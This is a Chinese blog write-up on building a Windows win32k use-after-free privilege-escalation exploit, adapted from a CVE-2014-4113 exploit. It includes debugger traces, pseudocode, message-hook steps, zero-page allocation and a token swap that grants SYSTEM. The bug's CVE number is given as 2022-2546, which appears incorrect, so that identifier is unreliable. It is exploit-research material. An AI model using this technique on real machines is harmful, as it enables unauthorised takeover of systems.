技术分享:经典内核漏洞调试笔记之二

  作者:k0pwn_ko

  预估稿费:500RMB(不服你也来投稿啊!)

  投稿方式:发送邮件至linwei#360,或登陆网页版在线投稿

  传送门

  经典内核漏洞调试笔记

  前言

  上一次我发了一篇自己在一个经典内核漏洞CVE-2014-4113中挣扎的经历,以及一些调试细节的分享。

  总结过后感觉自己收获很多,后来一个偶然的机会,我看到了百度安全实验室发的一篇文章,是关于另一个经典的内核漏洞,也就是今天的主角----CVE-2022-2546这个漏洞的从补丁对比到Exploit的分析,同样感觉收获满满,在这篇分析中,总结了漏洞的成因,以及构造还原的手法,受益匪浅,但是并没有提供Exploit,于是根据这篇分析,我尝试编写了一下Exploit,这一次真的是非常艰辛,一边逆向调试,一边编写Exploit,磕磕绊绊完成了这个漏洞的利用,但和我的上一篇分析一样,在调试过程中,有好多非常有意思的过程,所以总结了一下,拿出来和大家一起分享。

  下面开始我这只小菜鸟的提权之旅。

  从CVE-2014-4113到CVE-2022-2546

  首先我来描述一下这个漏洞的过程:在创建弹出菜单之后,当进行鼠标操作的时候会触发鼠标事件,引发win32k.sys下的一个叫做MNMouseMove的函数,在这个函数的处理过程中会涉及到一个叫做MNHideNextHierarchy的函数,这个函数会传入一个参数,这个参数是一个名为tagPOPUPMENU的结构体对象,由于对于这个对象没有进行检查,导致可以通过前面的SendMessage异步的方法,使用将这个对象释放掉,然后使用一个fake_tag进行占位,从而将这个fake_tag传入MNHideNextHierarchy,在这个函数中会处理一个1E4消息,在这里由于fake_tag的关系,导致释放后重用,从而引发在Ring0层执行Shellcode,最后完成提权。

  第一次看到这个漏洞的时候,我就觉得这个利用的过程和CVE-2014-4113非常相像,都是在SendMessage中完成的利用,也就是利用的call [esi+60h]这个汇编指令。

  要想触发这个漏洞,首先要想办法执行到MNMouseMove,我们一起来分析一下从哪里能够执行到MNMouseMove。

  

  这个过程是不是非常熟悉,从TrackPopupMenuEx到MNLoop,到HandleMenuMessages,最后到MNMouseMove。我们上一篇调试CVE-2014-4113就是这个过程,上一个漏洞发生在HandleMenuMessage中,而CVE-2022-2546发生在里面这一次,那么我就产生了一个想法,CVE-2014-4113的Exploit我们是否能在这个漏洞里使用呢?(事后证明,想的容易,做起来难,不过过程很有意思。)我们就从CVE-2014-4113这个Exploit入手,来完成CVE-2022-2546的提权。

  和内核对抗的日子

  首先我们来看一下CVE-2014-4113和CVE-2022-2546有多少关系,相关内容,可以看一下注释。

  1234567891011121314151617181920222223242526272829303132333435if ( v5 > 0x104 ) { if ( v5 > 0x202 ) { …… } …… if ( v20 ) { v21=v20 - 1; if ( v21 ) { …… v13=xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, (int)v7); v52=IsMFMWFPWindow(v13); if ( v52 ) …… if ( v13==-1 ) xxxMNButtonDown((PVOID)v3, v12, UnicodeString, 1); else xxxSendMessage((PVOID)v13, -19, UnicodeString, 0);// CVE -2014-4113的漏洞位置 if ( !(*(_DWORD *)(v12 + 4) & 0x100) ) xxxMNRemoveMessage(*(_DWORD *)(a1 + 4), 516); } return 0; } goto LABEL_59; } ……LABEL_59: …… xxxMNMouseMove(v3, a2, (int)v7); // CVE-2022-2546漏洞位置 return 1; }}

  可以看到,两个漏洞的位置都处于HandleMenuMessages的函数中,经过CVE-2014-4113的分析,我们发现这个过程需要通过调用PostMessage的函数,这涉及到对窗口的操作,在CVE-2014-4113中,通过WNDCLASS类中的lpfnWndProc定义了回调函数MyWndProc负责处理窗口函数,这里使用的PostMessage的方法。

  这样的话,为了使程序执行到MNMouseMove,我需要设定一个鼠标事件,这里的灵感来源于百度实验室的分析文章,所以我考虑使用。

  12345//WM_SYSCOMMAND处理消息PostMessage(hwnd,WM_SYSCOMMAND,0,0);//发送WM_SYSCOMMAND//鼠标事件PostMessage(hwnd,WM_LBUTTONDOWN,0,0);//鼠标左键按下PostMessage(hwnd,WM_LBUTTONUP,0,0);//鼠标左键抬起

  但是经过调试,我发现无论如何也到达不了调试位置,这样我需要考虑为何无法到达调试位置,在分析的过程中发现了一个有趣的事情,首先,在CVE-2014-4113中,使用TrackPopupMenu会创建一个弹出窗口菜单。

  

  但是,当修改了MyWndProc变成我们设定的事件之后,窗口菜单弹出后就没有后续动作了,也就是说,没有进入MNMouseMove的处理过程,但是当我把鼠标挪到上图的菜单中时,我们首先命中了HandleMenuMessages断点,紧接着命中了MNMouseMove。

  12345678kd> gBreakpoint 6 hitwin32k!xxxHandleMenuMessages:90668d78 8bff mov edi,edikd> gBreakpoint 4 hitwin32k!xxxMNMouseMove:906693ef 8bff mov edi,edi

  这说明在鼠标挪上去后在HandleMenuMessages中发生的事情能够使程序最后进入MNMouseMove,分析一下这个过程。

  1234567891011kd> pwin32k!xxxHandleMenuMessages+0x1b:90668d93 8b7508 mov esi,dword ptr [ebp+8]kd> pwin32k!xxxHandleMenuMessages+0x1e:90668d96 8b4604 mov eax,dword ptr [esi+4]kd> pwin32k!xxxHandleMenuMessages+0x21:90668d99 8b5608 mov edx,dword ptr [esi+8]kd> r eaxeax=00000200

  可以发现,程序进入后,会传递一个值0x200,这个值会在随后的过程中连续传递并且判断并且跳转,这个过程不再详细跟踪,举两个跳转的例子

  123456789101112131415161718192022222324//一处跳转,0x200和0x104作比较kd> pwin32k!xxxHandleMenuMessages+0x2f:90668da7 895dfc mov dword ptr [ebp-4],ebxkd> pwin32k!xxxHandleMenuMessages+0x32:90668daa 3bc1 cmp eax,ecxkd> r eaxeax=00000200kd> r ecxecx=00000104kd> pwin32k!xxxHandleMenuMessages+0x34:90668dac 0f87e4010000 ja win32k!xxxHandleMenuMessages+0x21d (90668f96)//另一处跳转,0x200和0x202作比较kd> pwin32k!xxxHandleMenuMessages+0x21d:90668f96 b902022000 mov ecx,202hkd> pwin32k!xxxHandleMenuMessages+0x222:90668f9b 3bc1 cmp eax,ecxkd> pwin32k!xxxHandleMenuMessages+0x224:90668f9d 0f8706010000 ja win32k!xxxHandleMenuMessages+0x330 (906690a9)

  这时我们看一下我这篇文章开头提到的HandleMenuMessages函数的分析,在开头有两处if语句判断,正是和这两个值做的比较,接下来经过一系列判断跳转之后,我们就到达了MNMouseMove的调用。

  123456789kd> pwin32k!xxxHandleMenuMessages+0x264:90668fdd a900040000 test eax,400hkd> pwin32k!xxxHandleMenuMessages+0x269:90668fe2 747a je win32k!xxxHandleMenuMessages+0x2e5 (9066905e)kd> pwin32k!xxxHandleMenuMessages+0x2e5:9066905e 53 push ebx

  9066905e地址所处的位置,已经是MNMouseMove的上方,ebx正在作为MNMouseMove的参数传入栈中。

  12345.text:BF93905E ; 395: xxxMNMouseMove(v3, a2, (int)v7);.text:BF93905E push ebx ; int.text:BF93905F push esi ; int.text:BF939060 push edi ; UnicodeString.text:BF939061 call _xxxMNMouseMove@12 ; xxxMNMouseMove(x,x,x)

  也就是说,之前传入的这个eax是一个很关键的值,如果弄明白这个值,就可以让程序成功执行到MNMouseMove了,但因为这个过程实际上是通过Windows下的图形界面操作(也就是鼠标在我们创建的主窗口移动产生的),所以我们并不能通过CVE-2014-4113的源码分析出来,这里需要分析一下这个值得内容,这时我想到了CVE-2014-4113源程序,同样也是在HandleMenuMessages进行if语句的判断导致跳转,而CVE-2014-4113已经分析的很清楚了,运行CVE-2014-4113的源程序,中断在HandleMenuMessage调试。

  12345678910111213141516171819kd> pwin32k!xxxHandleMenuMessages+0x19:90668d91 53 push ebxkd> pwin32k!xxxHandleMenuMessages+0x1a:90668d92 56 push esikd> pwin32k!xxxHandleMenuMessages+0x1b:90668d93 8b7508 mov esi,dword ptr [ebp+8]kd> pwin32k!xxxHandleMenuMessages+0x1e:90668d96 8b4604 mov eax,dword ptr [esi+4]kd> pwin32k!xxxHandleMenuMessages+0x21:90668d99 8b5608 mov edx,dword ptr [esi+8]kd> r eaxeax=00000201kd> dd esi85c4bb0c 000f02a2 00000201 00000000 00000000

  可以看到这里eax的值是0x201(刚才那个是0x200),也就是十进制的513,来看一下CVE-2014-4113里的过程,计算一下。

  123456789101112131415161718192022 v20=v5 - 261; if ( v20 ) { v21=v20 - 1; if ( v21 ) { v22=v21 - 18; if ( !v22 ) return 1; v23=v22 - 232; if ( v23 ) { if ( v23==1 ) {LABEL_13: v12=a2; *(_DWORD *)(a2 + 16)=-1; *(_DWORD *)(a2 + 8)=(signed __int16)v7; *(_DWORD *)(a2 + 12)=SHIWORD(v7); v13=xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, (int)v7); v52=IsMFMWFPWindow(v13);

  这里要计算最后v23的值,就从最上方v20的值开始向下判断,也就是v23=513-261-1-18-232=1,正好v23等于1,从而进入下面CVE-2014-4113的处理逻辑。v5的值,就是0x201,也就是513,那么这个值到底是什么呢,我们来查一下这个值。

  1234567891011public enum WMessages : int { WM_LBUTTONDOWN=0x201, //Left mousebutton down WM_LBUTTONUP=0x202, //Left mousebutton up WM_LBUTTONDBLCLK=0x203, //Left mousebutton doubleclick WM_RBUTTONDOWN=0x204, //Right mousebutton down WM_RBUTTONUP=0x205, //Right mousebutton up WM_RBUTTONDBLCLK=0x206, //Right mousebutton doubleclick WM_KEYDOWN=0x100, //Key down WM_KEYUP=0x101, //Key up }

  原来这个值就是WM_LBUTTONDOWN的值,正是CVE-2014-4113利用程序中MyWndProc中其中第三个PostMessage中调用到的第二个参数值,所以,我在这里,将我的Exploit中的PostMessage里第二个参数直接修改成0x200,重新运行程序,终于命中了MNMouseMove断点。接下来可以进入内层函数分析了。

  

  进入内层函数后,我们需要想办法让程序执行到MNFindeWindowFromPoint函数调用的位置,但是我发现到其中一个判断的时候没法通过,会直接到退出的位置。

  123456kd> pwin32k!xxxMNMouseMove+0x2f:9066941e 0f846f010000 je win32k!xxxMNMouseMove+0x1a4 (90669593)kd> pwin32k!xxxMNMouseMove+0x1a4:90669593 5f pop edi

  来看一下IDA pro的伪代码。

  12if ( (signed __int16)a3 !=*(_DWORD *)(a2 + 8) || SHIWORD(a3) !=*(_DWORD *)(a2 + 12) ) {

  只有上面伪代码中的if语句判断通过后,才能进入到漏洞的处理流程,动态跟踪一下这个过程。

  12345678910111213kd> pwin32k!xxxMNMouseMove+0x26:90669415 c1ea10 shr edx,10hkd> r edxedx=00000000kd> pwin32k!xxxMNMouseMove+0x29:90669418 0fbfd2 movsx edx,dxkd> r edxedx=00000000kd> pwin32k!xxxMNMouseMove+0x2c:9066941b 3b570c cmp edx,dword ptr [edi+0Ch]

  这最主要的原因就是对比的两个值都为0,从而不满足if语句的跳转,跳过了漏洞处理所需的逻辑流程,但是在我们利用鼠标移动的时候,却发现这个流程可以进入if语句判断。

  123456789101112131415161718192022222324252627kd> pwin32k!xxxHandleMenuMessages+0x2e8:90669061 e889030000 call win32k!xxxMNMouseMove (906693ef)kd> dd esp85c47a98 fde8da68 9074f580 000f0059 9074f580 //000f0059kd> pwin32k!xxxMNMouseMove+0x18:90669407 0fbfc1 movsx eax,cxkd> r ecxecx=000f0059kd> pwin32k!xxxMNMouseMove+0x1b:9066940a 57 push edikd> pwin32k!xxxMNMouseMove+0x1c:9066940b 8b7d0c mov edi,dword ptr [ebp+0Ch]kd> pwin32k!xxxMNMouseMove+0x1f:9066940e 3b4708 cmp eax,dword ptr [edi+8]kd> pwin32k!xxxMNMouseMove+0x22:90669411 7511 jne win32k!xxxMNMouseMove+0x35 (90669424)kd> pwin32k!xxxMNMouseMove+0x35:90669424 894708 mov dword ptr [edi+8],eaxkd> r eaxeax=00000059

  鼠标移动的情况下,eax的值是0x59,并非0x00,那么这个值从哪里来呢,在进入MNMouseMove前看一下参数。

  12345kd> pwin32k!xxxHandleMenuMessages+0x2e8:90669061 e889030000 call win32k!xxxMNMouseMove (906693ef)kd> dd esp85c47a98 fde8da68 9074f580 000f0059 9074f580

  通过IDA pro分析一下HandleMenuMessages函数,看看这个值是从哪里来。

  1234v5=*(_DWORD *)(a1 + 4);v6=*(_DWORD *)(a1 + 8);v7=*(void **)(a1 + 12);xxxMNMouseMove(v3, a2, (int)v7);

  是a1,也就是HandleMenuMessages的第一个参数,这样我们可以回到CVE-2014-4113中,在调用HandleMenuMessages的时候,直接查看第一个参数偏移+0Ch位置的值,看看这个值是不是由我们决定的。

  123456789101112131415161718kd> pwin32k!xxxHandleMenuMessages+0x1e:90668d96 8b4604 mov eax,dword ptr [esi+4]kd> pwin32k!xxxHandleMenuMessages+0x21:90668d99 8b5608 mov edx,dword ptr [esi+8]kd> pwin32k!xxxHandleMenuMessages+0x24:90668d9c 8b5e0c mov ebx,dword ptr [esi+0Ch]kd> r edxedx=00000000kd> pwin32k!xxxHandleMenuMessages+0x27:90668d9f b904010000 mov ecx,104hkd> r ebxebx=00000000kd> r eaxeax=00000201

  可以看到ebx寄存器是esi+0ch的值,这个值是0,eax的值是0x201,回过头看一下正常Exploit中MyWndProc函数的PostMessages的参数调用。

  这个第三个第四个特定参数都是0x00,那么我觉得这个可能和MNMouseMove中的值有关,于是我尝试修改了CVE-2022-2546中PostMessage消息传递的特定参数。

  修改之后,我们重新跟踪调试。

  12345678910111213kd> pwin32k!xxxHandleMenuMessages+0x21:90668d99 8b5608 mov edx,dword ptr [esi+8]kd> pwin32k!xxxHandleMenuMessages+0x24:90668d9c 8b5e0c mov ebx,dword ptr [esi+0Ch]kd> pwin32k!xxxHandleMenuMessages+0x27:90668d9f b904010000 mov ecx,104hkd> r edxedx=00110011kd> r ebxebx=00110011

  果然这个值可控了,而且esi指针的值就+4h是PostMessage第二个参数,+08h是第三个参数,+0Ch是第四个参数,接下来,MNMouseMove也能够正常进入if语句的处理流程了。

  12345678910111213141516kd> pwin32k!xxxHandleMenuMessages+0x2e8:90669061 e889030000 call win32k!xxxMNMouseMove (906693ef)kd> dd esp85d07a98 fde8da68 9074f580 00110011 9074f580kd> pwin32k!xxxMNMouseMove+0x1f:9066940e 3b4708 cmp eax,dword ptr [edi+8]kd> pwin32k!xxxMNMouseMove+0x22:90669411 7511 jne win32k!xxxMNMouseMove+0x35 (90669424)kd> r eaxeax=00000011kd> pwin32k!xxxMNMouseMove+0x35:90669424 894708 mov dword ptr [edi+8],eax

  在HOOK中挣扎和Exploit

  接下来,进入到消息钩子部分,主要处理的还是SendMessage异步处理时的消息,通过修改返回,最后达到漏洞调用位置,通过IDA pro来跟踪一下MNMouseMove的执行流程,以及跟CVE-2022-2546有关的部分。

  12345678910111213141516171819202222232425262728void __stdcall xxxMNMouseMove(WCHAR UnicodeString, int a2, int a3){ …… if ( (signed __int16)a3 !=*(_DWORD *)(a2 + 8) || SHIWORD(a3) !=*(_DWORD *)(a2 + 12) ) { *(_DWORD *)(a2 + 8)=(signed __int16)a3; *(_DWORD *)(v5 + 12)=SHIWORD(v4); v6=xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, v4);// V6通过HOOK可控,这里的sendmessage是异步处理 v7=v6; // v7可控 …… if ( *(_DWORD *)(v5 + 16)==1 ) // 这个外层if不一定会进来 { if ( !v7 || v7==-1 && *(_BYTE *)(*(_DWORD *)(v3 + 4) + 35) & 0x20 )// 判断返回值是0或者-1 return; *(_DWORD *)(v5 + 16)=-1; } if ( v7==-5 ) // 当返回值是0xffffffb {…… } else // 否则进入这里 { …… v9=*(_DWORD **)(v7 + 176); // 获取tagPOPUPMENU的位置,偏移是+0B0h …… v10=xxxSendMessage((PVOID)v7, -27, UnicodeString, 0); if ( v10 & 0x10 && !(v10 & 3) && !xxxSendMessage((PVOID)v7, -16, 0, 0) ) xxxMNHideNextHierarchy(v9); // 漏洞触发关键位置

  经过分析,我们需要处理三处SendMessage的异步过程,第一处在FindWindowFromPoint,这个函数中会有一处SendMessage,通过异步过程执行钩子,但是我调试时发现在进入这个函数返回,但并没有执行钩子。

  1234567891011121314151617181920222223kd> pwin32k!xxxMNMouseMove+0x48:90669437 e862010000 call win32k!xxxMNFindWindowFromPoint (9066959e)kd> pwin32k!xxxMNMouseMove+0x4d:9066943c f7470400800000 test dword ptr [edi+4],8000hkd> r eaxeax=fea11430跟踪一下这个过程,我发现在进入SendMessage之前,有一处if语句判断,当这个if语句判断不通过的时候,不会进入SendMessage处理。kd> pwin32k!xxxMNFindWindowFromPoint+0x14:906695b2 8b470c mov eax,dword ptr [edi+0Ch]kd> pwin32k!xxxMNFindWindowFromPoint+0x17:906695b5 85c0 test eax,eaxkd> pwin32k!xxxMNFindWindowFromPoint+0x19:906695b7 746b je win32k!xxxMNFindWindowFromPoint+0x86 (90669624)kd> pwin32k!xxxMNFindWindowFromPoint+0x86:90669624 8b07 mov eax,dword ptr [edi]kd> dd edifde8da68 12a10008 fea38d58 fea11430 00000000

  可以看到这里eax的值是edi+0ch对应的值,也就是0,对应伪代码v5变量值为0,也就是if语句判断没通过,跳转了。这样我们还需要重新看一下这个值,这个值来自于tagPopupMenu结构体,通过CVE-2014-4113和CVE-2022-2546的tagPopupMenu结构体做一个对比。

  12345678kd> dt tagPOPUPMENU fde8da68//我们的Exploit中的结构体 +0x004 spwndNotify : 0xfea38d58 tagWND +0x008 spwndPopupMenu : 0xfea11430 tagWND +0x00c spwndNextPopup : (null) kd> dt fde8da68 tagPOPUPMENU//CVE-2014-4113的结构体 +0x004 spwndNotify : 0xfea39de8 tagWND +0x008 spwndPopupMenu : 0xfea12398 tagWND +0x00c spwndNextPopup : 0xfea12578 tagWND

  实际上,在通过TrackPopupMenu之后会调用MNLoop进入循环处理消息,而我们的exp中只有一个postmessage,于是我们增加到三个postmessage,再次调试跟踪。

  1234567891011kd> pwin32k!xxxHandleMenuMessages+0x2e7:90669060 57 push edikd> pwin32k!xxxHandleMenuMessages+0x2e8:90669061 e889030000 call win32k!xxxMNMouseMove (906693ef)kd> r ediedi=fde8da68 +0x004 spwndNotify : 0xfea39d18 tagWND +0x008 spwndPopupMenu : 0xfea11430 tagWND +0x00c spwndNextPopup : 0xfea12698 tagWND

  这样,我们就能够处理了,接下来利用三个钩子,分别处理三种消息的调用,这个调用过程和CVE-2014-4113相比差别还是比较大的。需要来看一下最关键的钩子该怎么用。首先我们要分析一下和漏洞利用最关键的函数xxxMNHideNextHierarchy,这个函数有一个参数。

  1234567signed int __stdcall xxxMNHideNextHierarchy(int a1) v1=*(_DWORD *)(a1 + 12); if ( v1 ) { v2=*(void **)(a1 + 12); if ( v2 !=*(void **)(a1 + 28) ) xxxSendMessage(v2, -28, 0, 0);//这里调用shellcode提权

  这个参数a1直接影响到后面的提权,回到外层看一下这个a1从哪里来。

  123456v6=xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, v4);// V6通过HOOK可控,这里的sendmessage是异步处理 v7=v6; // v7可控 …… v9=*(_DWORD **)(v7 + 176); // 获取tagPOPUPMENU的位置,偏移是+0B0h if ( v10 & 0x10 && !(v10 & 3) && !xxxSendMessage((PVOID)v7, -16, 0, 0) ) xxxMNHideNextHierarchy((int)v9); // 漏洞触发关键位置

  正是从MNFindWindowFromPoint而来,本来是一次轻松愉快的旅程,但是实际上在逻辑代码中,有一个地方导致了这次旅程血崩,就是:

  12if ( IsWindowBeingDestroyed(v7) ) return;

  这个地方会对窗口的属性进行检查,也就是说,v7不能是一个任意值,比如是我们直接通过零页分配的shellcode的某个地址指针,如果可以的话,后面就会导致其他的利用了,因此这个值必须是一个窗口的值,因此我们用一种方法:

  就是创建窗口A和窗口B,在这里通过异步调用,返回窗口B的值,这样后续处理中,就会将窗口B的tagMenu偏移+0B0h位置的值,也就是tagPopupMenu交给v9,那么随后在最后一个SendMessage中销毁窗口B,通过一些方法将销毁后的位置占位,因为后面没有进行判断,从而可以调用占位后的值。而通过分析xxxMNHideNextHierarchy,内层函数用的是tagPopupMenu->spwndNextPopup,因此,只要在占位时再控制这个值,为一个我们可控的值,最后就能在xxxMNHideNextHierarchy里的sendmessage完成最后一步提权了。

  有了这个思路,我们开始利用钩子来完成这个过程。第一步,在FindWindowFromMessage函数调用中,处理1EB消息,这个和CVE-2014-4113很像。

  1234590669437 e862010000 call win32k!xxxMNFindWindowFromPoint (9066959e)win32k!xxxMNMouseMove+0x4d:9066943c f7470400800000 test dword ptr [edi+4],8000hkd> r eaxeax=fea396d0

  第一步钩子会返回窗口B的值,这样,也能绕过IsDestroy的判断,随后进入第二步处理,第二步处理的值,是1E5的消息,这个消息返回后会将返回值和0x10做一个判断。

  123456789xor edi, edipush edi ; Addresspush dword ptr [ebp+UnicodeString] ; UnicodeStringpush 1E5h ; MbStringpush esi ; Pcall _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x); 67: if ( v10 & 0x10 && !(v10 & 3) && !xxxSendMessage((PVOID)v7, -16, 0, 0) )test al, 10hjz short loc_BF939583

  这样我们控制钩子令返回值为0x10就可以了。

  123456789101112kd> pwin32k!xxxMNMouseMove+0x134:90669523 e87500f8ff call win32k!xxxSendMessage (905e959d)kd> gBreakpoint 16 hitwin32k!xxxMNMouseMove+0x139:90669528 a810 test al,10hkd> r eaxeax=00000010kd> pwin32k!xxxMNMouseMove+0x13b:9066952a 7457 je win32k!xxxMNMouseMove+0x194 (90669583)

  第三步处理1F0的消息,这一步很关键,会调用SendMessage,在这一步的钩子中对窗口B进行销毁,销毁后占位,由于这一步是在一个if语句里,因此需要返回值为0,才能通过非的判断。

  12345678.text:BF939530 push edi ; Address.text:BF939531 push edi ; UnicodeString.text:BF939532 push 1F0h ; MbString.text:BF939537 push esi ; P.text:BF939538 call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x).text:BF93953D test eax, eax.text:BF93953F jnz short loc_BF939583.text:BF939541 ; 68: xxxMNHideNextHierarchy(v9); // 漏洞触发关键位置

  这样的话,我们销毁窗口,并且进行占位

  123456789101112kd> pBreakpoint 17 hitwin32k!xxxMNMouseMove+0x14e:9066953d 85c0 test eax,eaxkd> pwin32k!xxxMNMouseMove+0x150:9066953f 7542 jne win32k!xxxMNMouseMove+0x194 (90669583)kd> r eaxeax=00000000kd> pwin32k!xxxMNMouseMove+0x152:90669541 53 push ebx

  最后占位后就是处理后的ebx了,这时候我们对ebx后的值也很有讲究,ebx+0Ch的值就是我们最后要调用到的值,这个值刚开始我想是直接按照CVE-2014-4113中的值一样定义成0xfffffffb,但是后来发现,在HideNextHierarchy函数中会将这个值自加进行一个赋值。

  12345kd> pwin32k!xxxMNHideNextHierarchy+0x2c:90648efa ff4004 inc dword ptr [eax+4]kd> dd eaxffffffff fe7d2179 00000000 00000000

  因此,如果eax的值是0xfffffffb的话,加4之后就是0xffffffff,仍然是个无效地址,这个无效地址自加会导致系统异常,因此,我把eax的值设为0xffffffff,这样同样需要重新分配0页内存。

  1234567891011kd> pwin32k!xxxMNHideNextHierarchy+0x9:90648ed7 8b7508 mov esi,dword ptr [ebp+8]kd> pwin32k!xxxMNHideNextHierarchy+0xc:90648eda 8b460c mov eax,dword ptr [esi+0Ch]kd> pwin32k!xxxMNHideNextHierarchy+0xf:90648edd 85c0 test eax,eaxkd> r eaxeax=ffffffff

  这样就绕过了最后一层判断,最后到达1E4的消息调用,这个地方传递的值就已经是0xffffffff了。

  123456789101112131415161718kd> pwin32k!xxxMNHideNextHierarchy+0x37:90648f05 6a00 push 0kd> pwin32k!xxxMNHideNextHierarchy+0x39:90648f07 6a00 push 0kd> pwin32k!xxxMNHideNextHierarchy+0x3b:90648f09 68e4010000 push 1E4hkd> pwin32k!xxxMNHideNextHierarchy+0x40:90648f0e 50 push eaxkd> r @eax=ffffffffkd> pwin32k!xxxMNHideNextHierarchy+0x41:90648f0f e88906faff call win32k!xxxSendMessage (905e959d)kd> dd esp92dd3a3c ffffffff 000001e4 00000000 00000000

  接下来向内层继续传递,和CVE-2014-4113的利用过程就基本一致了。

  12345kd> pwin32k!xxxSendMessage+0x23:905e95c0 e882fdffff call win32k!xxxSendMessageTimeout (905e9347)kd> dd esp92dd3a14 ffffffff 000001e4 00000000 00000000

  最后,执行到shellcode

  12345678910kd> pwin32k!xxxSendMessageTimeout+0x1a9:905e94f0 ff5660 call dword ptr [esi+60h]kd> r esiesi=ffffffffkd> dd esi+600000005f 00371410 00000000 00000000 00000000kd> pBreakpoint 6 hit00371410 55 push ebp

  下一个写入断点

  123456789101112131415kd> !process 0 0**** NT ACTIVE PROCESS DUMP ****PROCESS 841bdab0 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 00185000 ObjectTable: 87c01be8 HandleCount: 490. Image: SystemPROCESS 845da8a8 SessionId: 1 Cid: 0ddc Peb: 7ffdf000 ParentCid: 0cf8 DirBase: 3f321500 ObjectTable: 95b440f0 HandleCount: 28. Image: EoP_1.exekd> dd 845da8a8+f8845da9a0 86094613 000078da 00000000 00000000原进程tokenshellcode进行替换kd> dd 845da8a8+f8 //提权Token845da9a0 87c01337 000078da 00000000 00000000kd> dd 841bdab0+f8 //系统Token841bdba8 87c01337 00000000 00000000 00000000

  现在是system的token了,最后放一个提权后的截图

  

  后记

  这个漏洞总体来说可以算是CVE-2014-4113的进阶,和内核较劲的过程非常有意思,一步步的思考和绕过,让我想起以前膜拜大牛们过狗的案例中一步步bypass的过程,实际上二进制也是一样。

  那么这篇文章也写到这里,希望大牛们多多批评指正,也希望大家也都能有所收获,谢谢!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值